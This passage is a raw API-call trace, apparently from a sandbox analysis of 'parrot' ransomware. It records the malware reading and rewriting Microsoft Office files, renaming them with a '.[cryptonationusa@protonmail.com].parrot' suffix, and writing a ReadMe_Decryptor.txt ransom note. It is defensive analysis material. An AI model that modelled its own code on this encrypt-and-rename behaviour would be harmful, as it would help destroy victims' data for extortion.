lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0171.014] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.014] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x73c, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x73c, lpOverlapped=0x0) returned 1 [0171.015] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.015] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Teal.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\teal.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Teal.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\teal.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0171.020] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0171.020] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0171.021] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.021] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x727, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x727, lpOverlapped=0x0) returned 1 [0171.022] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.022] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\TexturedBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\texturedblue.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\TexturedBlue.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\texturedblue.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0171.026] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0171.026] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0171.027] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.028] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x732, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x732, lpOverlapped=0x0) returned 1 [0171.028] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.028] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\VelvetRose.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\velvetrose.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\VelvetRose.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\velvetrose.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0171.035] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0171.035] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd3f79f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf1f796c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xf1f796c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0171.036] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8cac600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd3f79f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf1157420, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x878, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe.css.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="ADOBEC~1.PAR")) returned 1 [0171.037] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0171.037] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd3f79f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf1157420, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xf1157420, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0171.037] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5373f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd3f79f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf0fda660, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x6268, dwReserved0=0x0, dwReserved1=0x0, cFileName="BG_ADOBE.GIF.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="BG_ADO~1.PAR")) returned 1 [0171.038] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0171.038] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0171.039] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.040] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x272, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x272, lpOverlapped=0x0) returned 1 [0171.040] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.040] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_col.hxc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0171.045] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0171.045] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0171.046] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.046] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xda, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xda, lpOverlapped=0x0) returned 1 [0171.046] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.046] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_col.hxt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0171.051] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0171.051] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0171.052] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.052] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6f, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x6f, lpOverlapped=0x0) returned 1 [0171.052] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0171.052] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.052] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0171.052] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0171.053] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_f_col.hxk.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0171.057] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0171.057] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0171.058] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.058] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x6e, lpOverlapped=0x0) returned 1 [0171.058] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0171.058] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.058] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0171.058] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0171.058] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_k_col.hxk.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0171.063] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0171.063] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0171.065] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.065] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8d68, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x8d68, lpOverlapped=0x0) returned 1 [0171.066] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0171.067] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.067] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0171.067] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0171.067] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvac.vsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVAC.VSL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvac.vsl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0171.072] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0171.072] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0171.073] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.073] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x77f, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x77f, lpOverlapped=0x0) returned 1 [0171.073] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0171.073] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.073] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0171.073] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0171.074] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvacdiff.vrd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvacdiff.vrd.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0171.077] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0171.078] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0171.079] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.079] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x51d, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x51d, lpOverlapped=0x0) returned 1 [0171.079] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0171.079] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.079] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0171.079] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0171.080] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvacduct.vrd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvacduct.vrd.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0171.084] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0171.084] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0171.085] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.085] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0171.095] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0171.115] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.115] WriteFile (in: hFile=0x284, lpBuffer=0x6a3268*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x6a3268*, lpNumberOfBytesWritten=0x18eed4*=0x118, lpOverlapped=0x0) returned 1 [0171.118] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.118] WriteFile (in: hFile=0x284, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0171.121] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x174e1e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0171.121] CloseHandle (hObject=0x284) returned 1 [0171.121] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0171.121] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x2257b90 [0171.121] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3173c10 | out: hHeap=0x5b0000) returned 1 [0171.121] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath.hxs.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0171.123] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2257b90 | out: hHeap=0x5b0000) returned 1 [0171.123] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0171.123] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2e80020 | out: hHeap=0x5b0000) returned 1 [0171.174] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68de88 [0171.174] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x6586e8 [0171.174] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0171.174] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0171.174] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReadMe_Decryptor.txt" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ecc8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0171.175] GetFileType (hFile=0x27c) returned 0x1 [0171.175] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x3178470 [0171.186] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0171.186] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0171.187] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.187] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x697e2, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x697e2, lpOverlapped=0x0) returned 1 [0171.191] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0171.191] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0171.191] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0171.191] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0171.192] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0171.192] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0171.192] GetLastError () returned 0x0 [0171.203] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.203] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0171.203] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0171.203] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0171.203] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0171.204] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0171.204] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0171.204] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0171.204] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0171.204] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0171.204] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0171.204] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0171.204] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0171.204] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0171.204] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0171.204] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0171.204] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0171.204] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0171.204] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0171.204] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 